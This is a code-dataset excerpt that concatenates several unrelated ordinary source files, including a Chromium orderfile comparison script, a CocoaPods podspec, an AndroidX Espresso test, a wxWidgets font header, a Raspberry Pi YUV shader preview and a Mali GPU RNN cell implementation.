after_output = subprocess.check_output(
['git', 'show', '%s:%s' % (commit_hash, orderfile_hash_relative_path)],
cwd=clank_path)
after_hash = after_output.split('\n')[0]
assert before_hash != after_hash
return (before_hash, after_hash)
def DownloadOrderfile(orderfile_hash, output_filename):
"""Downloads an orderfile with a given hash to a given destination."""
cloud_storage_path = (
'gs://clank-archive/orderfile-clankium/%s' % orderfile_hash)
subprocess.check_call(
['gsutil.py', 'cp', cloud_storage_path, output_filename])
def GetOrderfilesFromCommit(commit_hash):
"""Returns paths to the before and after orderfiles for a commit."""
clank_path = os.path.join(os.path.dirname(__file__), os.pardir, os.pardir,
'clank')
logging.info('Checking that the commit is an orderfile')
CheckOrderfileCommit(commit_hash, clank_path)
(before_hash, after_hash) = GetBeforeAfterOrderfileHashes(
commit_hash, clank_path)
logging.info('Before / after hashes: %s %s', before_hash, after_hash)
before_filename = os.path.join('/tmp/', before_hash)
after_filename = os.path.join('/tmp/', after_hash)
logging.info('Downloading files')
DownloadOrderfile(before_hash, before_filename)
DownloadOrderfile(after_hash, after_filename)
return (before_filename, after_filename)
def CreateArgumentParser():
"""Returns the argumeng parser."""
parser = argparse.ArgumentParser()
parser.add_argument('--first', help='First orderfile')
parser.add_argument('--second', help='Second orderfile')
parser.add_argument('--keep', default=False, action='store_true',
help='Keep the downloaded orderfiles')
parser.add_argument('--from-commit', help='Analyze the difference in the '
'orderfile from an orderfile bot commit.')
parser.add_argument('--csv-output', help='Appends the result to a CSV file.')
return parser
def main():
logging.basicConfig(level=logging.INFO)
parser = CreateArgumentParser()
args = parser.parse_args()
if args.first or args.second:
assert args.first and args.second, 'Need both files.'
Compare(args.first, args.second)
elif args.from_commit:
first, second = GetOrderfilesFromCommit(args.from_commit)
try:
logging.info('Comparing the orderfiles')
result = Compare(first, second)
if args.csv_output:
with open(args.csv_output, 'a') as f:
f.write('%s,%d,%d,%d,%d,%f\n' % tuple(
[args.from_commit] + list(result)))
finally:
if not args.keep:
os.remove(first)
os.remove(second)
else:
return False
return True
if __name__ == '__main__':
sys.exit(0 if main() else 1)
| 2,972 |
5,169 | <filename>Specs/c/c/b/SYPopup/1.1.6-fix-window/SYPopup.podspec.json
{
"name": "SYPopup",
"version": "1.1.6-fix-window",
"summary": "Presenting custom views as a popup in iOS.",
"description": "为了解决多window切换的问题,fork原作者代码一份,项目自己维护",
"homepage": "https://github.com/coder-cjl/SYPopup",
"license": {
"type": "MIT",
"file": "LICENSE"
},
"authors": {
"coder-cjl": "<EMAIL>"
},
"requires_arc": true,
"frameworks": "UIKit",
"platforms": {
"ios": "8.0"
},
"source_files": "SYPopup/Classes/*.{h,m}",
"source": {
"git": "https://github.com/coder-cjl/SYPopup.git",
"tag": "1.1.6-fix-window"
}
}
| 339 |
836 | /*
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package androidx.test.espresso.web.assertion;
import static androidx.test.espresso.web.webdriver.DriverAtoms.getText;
import static org.hamcrest.CoreMatchers.instanceOf;
import static org.hamcrest.CoreMatchers.notNullValue;
import static org.hamcrest.Matchers.containsString;
import static org.junit.Assert.assertThat;
import androidx.test.espresso.matcher.RemoteHamcrestCoreMatchers13;
import androidx.test.espresso.remote.GenericRemoteMessage;
import androidx.test.espresso.remote.RemoteDescriptorRegistry;
import androidx.test.espresso.web.assertion.WebAssertion.CheckResultWebAssertion;
import androidx.test.espresso.web.assertion.WebViewAssertions.DocumentParserAtom;
import androidx.test.espresso.web.assertion.WebViewAssertions.ResultCheckingWebAssertion;
import androidx.test.espresso.web.assertion.WebViewAssertions.ResultDescriber;
import androidx.test.espresso.web.assertion.WebViewAssertions.ToStringResultDescriber;
import androidx.test.espresso.web.assertion.WebViewAssertions.WebContentResultDescriber;
import androidx.test.espresso.web.model.Atom;
import androidx.test.espresso.web.model.RemoteWebModelAtoms;
import androidx.test.espresso.web.proto.assertion.WebAssertions.CheckResultAssertionProto;
import androidx.test.espresso.web.proto.assertion.WebAssertions.DocumentParserAtomProto;
import androidx.test.espresso.web.proto.assertion.WebAssertions.ToStringResultDescriberProto;
import androidx.test.espresso.web.proto.assertion.WebAssertions.WebContentResultDescriberProto;
import androidx.test.espresso.web.webdriver.RemoteWebDriverAtoms;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
import org.hamcrest.Matcher;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
/** Remote message transformation related test for all web actions */
@RunWith(AndroidJUnit4.class)
@SmallTest
public class RemoteWebAssertionsTest {
private static final Object SERIALISABLE_RESULT = "hello";
private static final Matcher<String> ANY_RESULT = containsString(SERIALISABLE_RESULT.toString());
private static WebAssertion<String> createResultCheckingWebAssertion() {
Atom<String> stringAtom = getText();
Matcher<String> stringMatcher = containsString(SERIALISABLE_RESULT.toString());
ResultDescriber<Object> resultDescriber = new ToStringResultDescriber();
return new ResultCheckingWebAssertion<>(stringAtom, stringMatcher, resultDescriber);
}
private static CheckResultAssertionProto checkAssertion_transformationToProto(
CheckResultWebAssertion webAssertion) {
CheckResultAssertionProto checkResultWebAssertionProto =
(CheckResultAssertionProto)
new CheckResultWebAssertionRemoteMessage(webAssertion).toProto();
assertThat(checkResultWebAssertionProto, notNullValue());
return checkResultWebAssertionProto;
}
private static void checkAssertion_transformationFromProto(CheckResultWebAssertion webAssertion) {
CheckResultAssertionProto checkResultAssertionProto =
checkAssertion_transformationToProto(webAssertion);
Object checkResultWebAssertionFromProto =
CheckResultWebAssertionRemoteMessage.FROM.fromProto(checkResultAssertionProto);
assertThat(checkResultWebAssertionFromProto, notNullValue());
assertThat(checkResultWebAssertionFromProto, instanceOf(CheckResultWebAssertion.class));
}
@Before
public void registerWebActionsWithRegistry() {
RemoteDescriptorRegistry descriptorRegistry = RemoteDescriptorRegistry.getInstance();
RemoteWebDriverAtoms.init(descriptorRegistry);
RemoteWebModelAtoms.init(descriptorRegistry);
RemoteHamcrestCoreMatchers13.init(descriptorRegistry);
RemoteWebViewAssertions.init(descriptorRegistry);
}
@Test
public void checkResultAssertion_serializableResult_transformationToProto() {
WebAssertion<String> resultCheckingWebAssertion = createResultCheckingWebAssertion();
CheckResultWebAssertion checkResultWebAssertion =
new CheckResultWebAssertion(SERIALISABLE_RESULT, resultCheckingWebAssertion);
checkAssertion_transformationToProto(checkResultWebAssertion);
}
@Test
public void checkAssertion_serializableResult_transformationFromProto() {
WebAssertion<String> resultCheckingWebAssertion = createResultCheckingWebAssertion();
CheckResultWebAssertion checkResultWebAssertion =
new CheckResultWebAssertion(SERIALISABLE_RESULT, resultCheckingWebAssertion);
checkAssertion_transformationFromProto(checkResultWebAssertion);
}
@Test
public void checkAssertion_anyResult_transformationFromProto() {
WebAssertion<String> resultCheckingWebAssertion = createResultCheckingWebAssertion();
CheckResultWebAssertion checkResultWebAssertion =
new CheckResultWebAssertion(ANY_RESULT, resultCheckingWebAssertion);
checkAssertion_transformationFromProto(checkResultWebAssertion);
}
@Test
public void checkResultAssertion_anyResult_transformationToProto() {
WebAssertion<String> resultCheckingWebAssertion = createResultCheckingWebAssertion();
CheckResultWebAssertion checkResultWebAssertion =
new CheckResultWebAssertion(ANY_RESULT, resultCheckingWebAssertion);
checkAssertion_transformationToProto(checkResultWebAssertion);
}
@Test
public void toStringResultDescriber_transformationToProto() {
ToStringResultDescriber toStringResultDescriber = new ToStringResultDescriber();
ToStringResultDescriberProto toStringResultDescriberProto =
(ToStringResultDescriberProto) new GenericRemoteMessage(toStringResultDescriber).toProto();
assertThat(toStringResultDescriberProto, notNullValue());
}
@Test
public void toStringResultDescriber_transformationFromProto() {
ToStringResultDescriber toStringResultDescriber = new ToStringResultDescriber();
ToStringResultDescriberProto toStringResultDescriberProto =
(ToStringResultDescriberProto) new GenericRemoteMessage(toStringResultDescriber).toProto();
Object toStringResultDescriberFromProto =
GenericRemoteMessage.FROM.fromProto(toStringResultDescriberProto);
assertThat(toStringResultDescriberFromProto, notNullValue());
assertThat(toStringResultDescriberFromProto, instanceOf(ToStringResultDescriber.class));
}
@Test
public void webContentResultDescriber_transformationToProto() {
WebContentResultDescriber webContentResultDescriber = new WebContentResultDescriber();
WebContentResultDescriberProto toStringResultDescriberProto =
(WebContentResultDescriberProto)
new GenericRemoteMessage(webContentResultDescriber).toProto();
assertThat(toStringResultDescriberProto, notNullValue());
}
@Test
public void webContentResultDescriber_transformationFromProto() {
WebContentResultDescriber webContentResultDescriber = new WebContentResultDescriber();
WebContentResultDescriberProto webContentResultDescriberProto =
(WebContentResultDescriberProto)
new GenericRemoteMessage(webContentResultDescriber).toProto();
Object webContentResultDescriberFromProto =
GenericRemoteMessage.FROM.fromProto(webContentResultDescriberProto);
assertThat(webContentResultDescriberFromProto, notNullValue());
assertThat(webContentResultDescriberFromProto, instanceOf(WebContentResultDescriber.class));
}
@Test
public void documentParserAtom_transformationToProto() {
DocumentParserAtom documentParserAtom = new DocumentParserAtom();
DocumentParserAtomProto documentParserAtomProto =
(DocumentParserAtomProto) new GenericRemoteMessage(documentParserAtom).toProto();
assertThat(documentParserAtomProto, notNullValue());
}
@Test
public void documentParserAtom_transformationFromProto() {
DocumentParserAtom documentParserAtom = new DocumentParserAtom();
DocumentParserAtomProto documentParserAtomProto =
(DocumentParserAtomProto) new GenericRemoteMessage(documentParserAtom).toProto();
Object documentParserAtomFromProto =
GenericRemoteMessage.FROM.fromProto(documentParserAtomProto);
assertThat(documentParserAtomFromProto, notNullValue());
assertThat(documentParserAtomFromProto, instanceOf(DocumentParserAtom.class));
}
}
| 2,774 |
460 | /////////////////////////////////////////////////////////////////////////////
// Name: wx/os2/font.h
// Purpose: wxFont class
// Author: <NAME>
// Modified by:
// Created: 10/06/99
// RCS-ID: $Id: font.h 42273 2006-10-23 11:58:28Z ABX $
// Copyright: (c) <NAME>
// Licence: wxWindows licence
/////////////////////////////////////////////////////////////////////////////
#ifndef _WX_FONT_H_
#define _WX_FONT_H_
#include "wx/gdiobj.h"
#include "wx/os2/private.h"
WXDLLEXPORT_DATA(extern const wxChar*) wxEmptyString;
// ----------------------------------------------------------------------------
// wxFont
// ----------------------------------------------------------------------------
class WXDLLEXPORT wxFont : public wxFontBase
{
public:
// ctors and such
wxFont() { }
wxFont( int nSize
,int nFamily
,int nStyle
,int nWeight
,bool bUnderlined = false
,const wxString& rsFace = wxEmptyString
,wxFontEncoding vEncoding = wxFONTENCODING_DEFAULT
)
{
(void)Create( nSize
,nFamily
,nStyle
,nWeight
,bUnderlined
,rsFace
,vEncoding
);
}
wxFont( const wxNativeFontInfo& rInfo
,WXHFONT hFont = 0
)
{
(void)Create( rInfo
,hFont
);
}
wxFont(const wxString& rsFontDesc);
bool Create( int nSize
,int nFamily
,int nStyle
,int nWeight
,bool bUnderlined = false
,const wxString& rsFace = wxEmptyString
,wxFontEncoding vEncoding = wxFONTENCODING_DEFAULT
);
bool Create( const wxNativeFontInfo& rInfo
,WXHFONT hFont = 0
);
virtual ~wxFont();
//
// Implement base class pure virtuals
//
virtual int GetPointSize(void) const;
virtual int GetFamily(void) const;
virtual int GetStyle(void) const;
virtual int GetWeight(void) const;
virtual bool GetUnderlined(void) const;
virtual wxString GetFaceName(void) const;
virtual wxFontEncoding GetEncoding(void) const;
virtual const wxNativeFontInfo* GetNativeFontInfo() const;
virtual void SetPointSize(int nPointSize);
virtual void SetFamily(int nFamily);
virtual void SetStyle(int nStyle);
virtual void SetWeight(int nWeight);
virtual bool SetFaceName(const wxString& rsFaceName);
virtual void SetUnderlined(bool bUnderlined);
virtual void SetEncoding(wxFontEncoding vEncoding);
//
// For internal use only!
//
void SetPS(HPS hPS);
void SetFM( PFONTMETRICS pFM
,int nNumFonts
);
//
// Implementation only from now on
// -------------------------------
//
virtual bool IsFree(void) const;
virtual bool RealizeResource(void);
virtual WXHANDLE GetResourceHandle(void) const;
virtual bool FreeResource(bool bForce = false);
WXHFONT GetHFONT(void) const;
protected:
virtual void DoSetNativeFontInfo(const wxNativeFontInfo& rInfo);
void Unshare(void);
private:
DECLARE_DYNAMIC_CLASS(wxFont)
}; // end of wxFont
#endif // _WX_FONT_H_
| 1,738 |
1,498 | /*
Copyright (c) 2013, Broadcom Europe Ltd
Copyright (c) 2013, <NAME>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "yuv.h"
#include "RaspiTex.h"
#include "RaspiTexUtil.h"
#include <GLES2/gl2.h>
#include <EGL/egl.h>
#include <EGL/eglext.h>
/* Draw a scaled quad showing the the entire texture with the
* origin defined as an attribute */
static RASPITEXUTIL_SHADER_PROGRAM_T yuv_shader =
{
.vertex_source =
"attribute vec2 vertex;\n"
"attribute vec2 top_left;\n"
"varying vec2 texcoord;\n"
"void main(void) {\n"
" texcoord = vertex + vec2(0.0, 1.0);\n"
" gl_Position = vec4(top_left + vertex, 0.0, 1.0);\n"
"}\n",
.fragment_source =
"#extension GL_OES_EGL_image_external : require\n"
"uniform samplerExternalOES tex;\n"
"varying vec2 texcoord;\n"
"void main(void) {\n"
" gl_FragColor = texture2D(tex, texcoord);\n"
"}\n",
.uniform_names = {"tex"},
.attribute_names = {"vertex", "top_left"},
};
static GLfloat varray[] =
{
0.0f, 0.0f, 0.0f, -1.0f, 1.0f, -1.0f,
1.0f, -1.0f, 1.0f, 0.0f, 0.0f, 0.0f,
};
static const EGLint yuv_egl_config_attribs[] =
{
EGL_RED_SIZE, 8,
EGL_GREEN_SIZE, 8,
EGL_BLUE_SIZE, 8,
EGL_ALPHA_SIZE, 8,
EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
EGL_NONE
};
/**
* Creates the OpenGL ES 2.X context and builds the shaders.
* @param raspitex_state A pointer to the GL preview state.
* @return Zero if successful.
*/
static int yuv_init(RASPITEX_STATE *state)
{
int rc;
state->egl_config_attribs = yuv_egl_config_attribs;
rc = raspitexutil_gl_init_2_0(state);
if (rc != 0)
goto end;
rc = raspitexutil_build_shader_program(&yuv_shader);
GLCHK(glUseProgram(yuv_shader.program));
GLCHK(glUniform1i(yuv_shader.uniform_locations[0], 0)); // tex unit
end:
return rc;
}
/**
* Draws a 2x2 grid with each shell showing the entire MMAL buffer from a
* different EGL image target.
*/
static int yuv_redraw(RASPITEX_STATE *raspitex_state)
{
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
GLCHK(glUseProgram(yuv_shader.program));
GLCHK(glActiveTexture(GL_TEXTURE0));
GLCHK(glEnableVertexAttribArray(yuv_shader.attribute_locations[0]));
GLCHK(glVertexAttribPointer(yuv_shader.attribute_locations[0],
2, GL_FLOAT, GL_FALSE, 0, varray));
// Y plane
GLCHK(glBindTexture(GL_TEXTURE_EXTERNAL_OES, raspitex_state->y_texture));
GLCHK(glVertexAttrib2f(yuv_shader.attribute_locations[1], -1.0f, 1.0f));
GLCHK(glDrawArrays(GL_TRIANGLES, 0, 6));
// U plane
GLCHK(glBindTexture(GL_TEXTURE_EXTERNAL_OES, raspitex_state->u_texture));
GLCHK(glVertexAttrib2f(yuv_shader.attribute_locations[1], 0.0f, 1.0f));
GLCHK(glDrawArrays(GL_TRIANGLES, 0, 6));
// V plane
GLCHK(glBindTexture(GL_TEXTURE_EXTERNAL_OES, raspitex_state->v_texture));
GLCHK(glVertexAttrib2f(yuv_shader.attribute_locations[1], 0.0f, 0.0f));
GLCHK(glDrawArrays(GL_TRIANGLES, 0, 6));
// RGB plane
GLCHK(glBindTexture(GL_TEXTURE_EXTERNAL_OES, raspitex_state->texture));
GLCHK(glVertexAttrib2f(yuv_shader.attribute_locations[1], -1.0f, 0.0f));
GLCHK(glDrawArrays(GL_TRIANGLES, 0, 6));
GLCHK(glDisableVertexAttribArray(yuv_shader.attribute_locations[0]));
GLCHK(glUseProgram(0));
return 0;
}
int yuv_open(RASPITEX_STATE *state)
{
state->ops.gl_init = yuv_init;
state->ops.redraw = yuv_redraw;
state->ops.update_texture = raspitexutil_update_texture;
state->ops.update_y_texture = raspitexutil_update_y_texture;
state->ops.update_u_texture = raspitexutil_update_u_texture;
state->ops.update_v_texture = raspitexutil_update_v_texture;
return 0;
}
| 2,099 |
722 | <filename>compute/tensor/src/gpu/mali/rnncell.cpp
// Copyright (C) 2019. Huawei Technologies Co., Ltd. All rights reserved.
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
// WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
// COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#include "sys.h"
#include "tensor_desc.h"
#include "error.h"
#include "gpu/mali/tensor_computing_mali.h"
#include "gpu/mali/fp16/rnncell_mali_fp16.h"
#include "gpu/mali/cl/kernel_option/gemv_opt.h"
inline void rnncell_produce_algos_paras(RNNParamSpec rnnPara,
std::vector<ConvolutionForwardAlgorithm> *rnncellAlgorithms,
std::vector<U32> *algoNumIndex,
std::vector<U32> *vecH,
std::vector<U32> *vecC,
std::vector<U32> *vecK,
std::vector<U32> *algoNumIndexP,
std::vector<U32> *vecHP,
std::vector<U32> *vecCP,
std::vector<U32> *vecKP)
{
rnncellAlgorithms->push_back(CONVOLUTION_ALGORITHM_GEMM);
CHECK_STATUS(get_gemv_cal_scheme(vecH, vecC, vecK));
algoNumIndex->push_back(vecH->size());
if (rnnPara.numProjection) {
CHECK_STATUS(get_gemv_cal_scheme(vecHP, vecCP, vecKP));
algoNumIndexP->push_back(vecHP->size());
}
}
inline EE rnncell_checkpara_mali(GCLHandle_t handle,
TensorDesc xDesc,
GCLMem_t currentX,
TensorDesc filterDesc,
GCLMem_t filter,
GCLMem_t bias,
GCLMem_t state,
RNNParamSpec rnnPara,
GCLMem_t tmpBuf,
TensorDesc hDesc,
GCLMem_t output)
{
if (nullptr == handle || nullptr == currentX || nullptr == filter || nullptr == output ||
nullptr == state || nullptr == bias || nullptr == tmpBuf) {
return NULL_POINTER;
}
DataFormat df;
DataType dt;
U32 iB, iX;
CHECK_STATUS(tensor2dGet(xDesc, &dt, &df, &iB, &iX));
if (iB != 1) {
CHECK_STATUS(NOT_SUPPORTED);
}
U32 hDim = rnnPara.numOutput;
if (hDesc.dims[0] != hDim && hDesc.dims[1] != hDim) {
CHECK_STATUS(NOT_MATCH);
}
return SUCCESS;
}
EE rnncell_infer_forward_algorithm_mali(GCLHandle_t handle,
TensorDesc xDesc,
TensorDesc filterDesc,
TensorDesc biasDesc,
RNNParamSpec rnnPara,
U32 batchStrideX,
U32 batchStrideH,
TensorDesc hDesc,
GCLMemDesc inputMemDesc,
GCLMemDesc stateMemDesc,
GCLMemDesc outputMemDesc,
ForwardRunInfoMali_t forwardRunInfo)
{
if (forwardRunInfo == nullptr) {
CHECK_STATUS(NULL_POINTER);
}
ConvolutionForwardAlgorithm algorithm = (ConvolutionForwardAlgorithm)(forwardRunInfo->algorithm);
if (algorithm != CONVOLUTION_ALGORITHM_NULL) {
return SUCCESS;
}
std::vector<ConvolutionForwardAlgorithm> rnncellAlgorithms;
std::vector<U32> algoNumIndex;
std::vector<U32> vecH;
std::vector<U32> vecC;
std::vector<U32> vecK;
std::vector<U32> algoNumIndexP;
std::vector<U32> vecHP;
std::vector<U32> vecCP;
std::vector<U32> vecKP;
rnncell_produce_algos_paras(rnnPara, &rnncellAlgorithms, &algoNumIndex, &vecH, &vecC, &vecK,
&algoNumIndexP, &vecHP, &vecCP, &vecKP);
CHECK_STATUS(gcl_clean_kernelVec(handle));
CHECK_STATUS(gcl_enable_queue_profiling(handle));
GCLMem_t currentX = gcl_create_gclmem();
GCLMem_t state = gcl_create_gclmem();
GCLMem_t filter0 = gcl_create_gclmem();
GCLMem_t filter1 = gcl_create_gclmem();
GCLMem_t bias0 = gcl_create_gclmem();
GCLMem_t bias1 = gcl_create_gclmem();
GCLMem_t tmpbuf = gcl_create_gclmem();
GCLMem_t currentH = gcl_create_gclmem();
std::vector<ForwardRunInfoMali> runInfos;
U32 bytes = 0;
U32 maxBytes = 0;
U32 stride[3] = {0, 0, 0};
U32 offset[3] = {0, 0, 0};
U32 maxFilterSize[2] = {0, 0};
TensorDesc ftmDesc[2];
bool useProject = (rnnPara.numProjection > 0) ? true : false;
U32 filterNum = (useProject) ? 2 : 1;
ForwardRunInfoMali runInfo;
runInfo.algorithm = rnncellAlgorithms[0];
for (U32 i = 0; i < algoNumIndex[0]; ++i) {
runInfo.best_h[0] = vecH[i];
runInfo.best_c[0] = vecC[i];
runInfo.best_k[0] = vecK[i];
if (useProject) {
runInfo.best_h[1] = vecHP[i];
runInfo.best_c[1] = vecCP[i];
runInfo.best_k[1] = vecKP[i];
}
TensorDesc desc[2];
if (rnncell_transform_filter_bytes_mali(filterDesc, rnnPara, &runInfo, desc) != SUCCESS) {
continue;
}
if (rnncell_infer_forward_tmp_bytes_mali(
xDesc, filterDesc, hDesc, rnnPara, &bytes, &runInfo) != SUCCESS) {
continue;
}
if (maxBytes < bytes) {
maxBytes = bytes;
}
for (U32 i = 0; i < filterNum; i++) {
if (tensorNumBytes(desc[i]) > maxFilterSize[i]) {
ftmDesc[i] = desc[i];
maxFilterSize[i] = tensorNumBytes(desc[i]);
}
}
runInfos.push_back(runInfo);
}
U32 algosNum = runInfos.size();
if (algosNum == 0) {
CHECK_STATUS(NOT_SUPPORTED);
}
U32 col = (useProject) ? rnnPara.numProjection : rnnPara.numOutput;
stride[0] = col * 4;
stride[1] = 1;
stride[2] = 1;
DataType dt = xDesc.dt;
CHECK_STATUS(gclmem_set_desc_padding(
&bias0->desc, stride, offset, dt, DF_NHWC, GCL_MEM_BUF, CL_MEM_READ_WRITE));
stride[0] = ftmDesc[0].dims[0];
stride[1] = ftmDesc[0].dims[1];
stride[2] = ftmDesc[0].dims[2];
CHECK_STATUS(gclmem_set_desc_padding(
&filter0->desc, stride, offset, dt, DF_NCHW, GCL_MEM_BUF, CL_MEM_READ_WRITE));
gcl_create_memory(handle, filter0);
gcl_create_memory(handle, bias0);
if (useProject) {
stride[0] = ftmDesc[1].dims[0];
stride[1] = ftmDesc[1].dims[1];
stride[2] = ftmDesc[1].dims[2];
CHECK_STATUS(gclmem_set_desc_padding(
&filter1->desc, stride, offset, dt, DF_NCHW, GCL_MEM_BUF, CL_MEM_READ_WRITE));
stride[0] = rnnPara.numOutput;
CHECK_STATUS(gclmem_set_desc_padding(
&bias1->desc, stride, offset, dt, DF_NHWC, GCL_MEM_BUF, CL_MEM_READ_WRITE));
gcl_create_memory(handle, filter1);
gcl_create_memory(handle, bias1);
}
outputMemDesc.need_pad = false;
currentX->desc = inputMemDesc;
state->desc = stateMemDesc;
currentH->desc = outputMemDesc;
tmpbuf->desc.byteSize = maxBytes;
gcl_create_memory(handle, currentX);
gcl_create_memory(handle, state);
gcl_create_memory(handle, currentH);
if (maxBytes) {
gcl_create_memory(handle, tmpbuf);
}
U32 runKernelBe = 0;
double minTime = DBL_MAX;
double minTimePro = DBL_MAX;
ForwardRunInfoMali bestRunInfo;
for (U32 i = 0; i < algosNum; i++) {
GCLMem filter[2];
GCLMem bias[2];
filter[0] = *filter0;
bias[0] = *bias0;
if (useProject) {
filter[1] = *filter1;
bias[1] = *bias1;
}
if (rnncell_mali(handle, xDesc, currentX, filterDesc, filter, biasDesc, bias, state,
rnnPara, batchStrideX, batchStrideH, maxBytes, tmpbuf, hDesc, currentH,
&runInfos[i]) == SUCCESS) {
gcl_run_kernelVec_timing(handle, runKernelBe + 1, runKernelBe + 2);
if (minTime > handle->t_execute) {
minTime = handle->t_execute;
bestRunInfo.algorithm = runInfos[i].algorithm;
bestRunInfo.best_h[0] = runInfos[i].best_h[0];
bestRunInfo.best_c[0] = runInfos[i].best_c[0];
bestRunInfo.best_k[0] = runInfos[i].best_k[0];
}
if (useProject) {
gcl_run_kernelVec_timing(handle, runKernelBe + 3, runKernelBe + 4);
if (minTimePro > handle->t_execute) {
minTimePro = handle->t_execute;
bestRunInfo.algorithm = runInfos[i].algorithm;
bestRunInfo.best_h[1] = runInfos[i].best_h[1];
bestRunInfo.best_c[1] = runInfos[i].best_c[1];
bestRunInfo.best_k[1] = runInfos[i].best_k[1];
}
}
runKernelBe = handle->kernelVec->size();
}
}
if (minTime == DBL_MAX) {
CHECK_STATUS(NOT_SUPPORTED);
}
if (useProject && minTimePro == DBL_MAX) {
CHECK_STATUS(NOT_SUPPORTED);
}
*forwardRunInfo = bestRunInfo;
CHECK_STATUS(gcl_finish(handle));
gcl_destroy_gclmem(currentX);
gcl_destroy_gclmem(state);
gcl_destroy_gclmem(currentH);
gcl_destroy_gclmem(filter0);
gcl_destroy_gclmem(bias0);
gcl_destroy_gclmem(filter1);
gcl_destroy_gclmem(bias1);
runInfos.clear();
CHECK_STATUS(gcl_clean_kernelVec(handle));
CHECK_STATUS(gcl_clean_programMap(handle));
CHECK_STATUS(gcl_off_queue_profiling(handle));
return SUCCESS;
}
EE rnncell_transform_filter_bytes_mali(TensorDesc filterDesc,
RNNParamSpec rnnParamSpec,
ForwardRunInfoMali_t forwardRunInfo,
TensorDesc *ftmDesc)
{
EE ret = SUCCESS;
switch (filterDesc.dt) {
case DT_F16: {
ret = rnncell_transform_filter_bytes_mali_fp16(
filterDesc, rnnParamSpec, forwardRunInfo, ftmDesc);
break;
}
default:
ret = NOT_SUPPORTED;
break;
}
return ret;
}
EE rnncell_transform_filter_mali(GCLHandle_t handle,
TensorDesc filterDesc,
GCLMem_t filter,
RNNParamSpec rnnParamSpec,
TensorDesc *fltmemDesc,
GCLMem_t fltmem,
ForwardRunInfoMali_t forwardRunInfo)
{
EE ret = SUCCESS;
switch (filterDesc.dt) {
case DT_F16: {
ret = rnncell_transform_filter_mali_fp16(
handle, filterDesc, filter, rnnParamSpec, fltmemDesc, fltmem, forwardRunInfo);
break;
}
default:
ret = NOT_SUPPORTED;
break;
}
return ret;
}
EE rnncell_infer_forward_tmp_bytes_mali(TensorDesc inputDesc,
TensorDesc filterDesc,
TensorDesc outputDesc,
RNNParamSpec rnnPara,
U32 *bytes,
ForwardRunInfoMali_t forwardRunInfo)
{
EE ret = SUCCESS;
switch (inputDesc.dt) {
case DT_F16: {
ret = rnncell_infer_forward_tmp_bytes_mali_fp16(
inputDesc, filterDesc, outputDesc, rnnPara, bytes, forwardRunInfo);
break;
}
default:
ret = NOT_SUPPORTED;
break;
}
return ret;
}
EE rnncell_mali(GCLHandle_t handle,
TensorDesc xDesc,
const GCLMem_t currentX,
TensorDesc filterDesc,
GCLMem_t filter,
TensorDesc biasDesc,
GCLMem_t bias,
GCLMem_t state,
RNNParamSpec rnnPara,
U32 batchStrideX,
U32 batchStrideH,
U32 tmpBytes,
GCLMem_t tmpBuf,
TensorDesc hDesc,
GCLMem_t output,
ForwardRunInfoMali_t forwardRunInfo)
{
EE ret = SUCCESS;
ret = rnncell_checkpara_mali(
handle, xDesc, currentX, filterDesc, filter, bias, state, rnnPara, tmpBuf, hDesc, output);
switch (xDesc.dt) {
case DT_F16: {
ret = rnncell_mali_fp16(handle, xDesc, currentX, filterDesc, filter, biasDesc, bias,
state, tmpBytes, tmpBuf, rnnPara, batchStrideX, batchStrideH, hDesc, output,
forwardRunInfo);
break;
}
default:
ret = NOT_SUPPORTED;
break;
}
return ret;
}
| 5,874 |
9,680 | import os
import torch
import pandas as pd
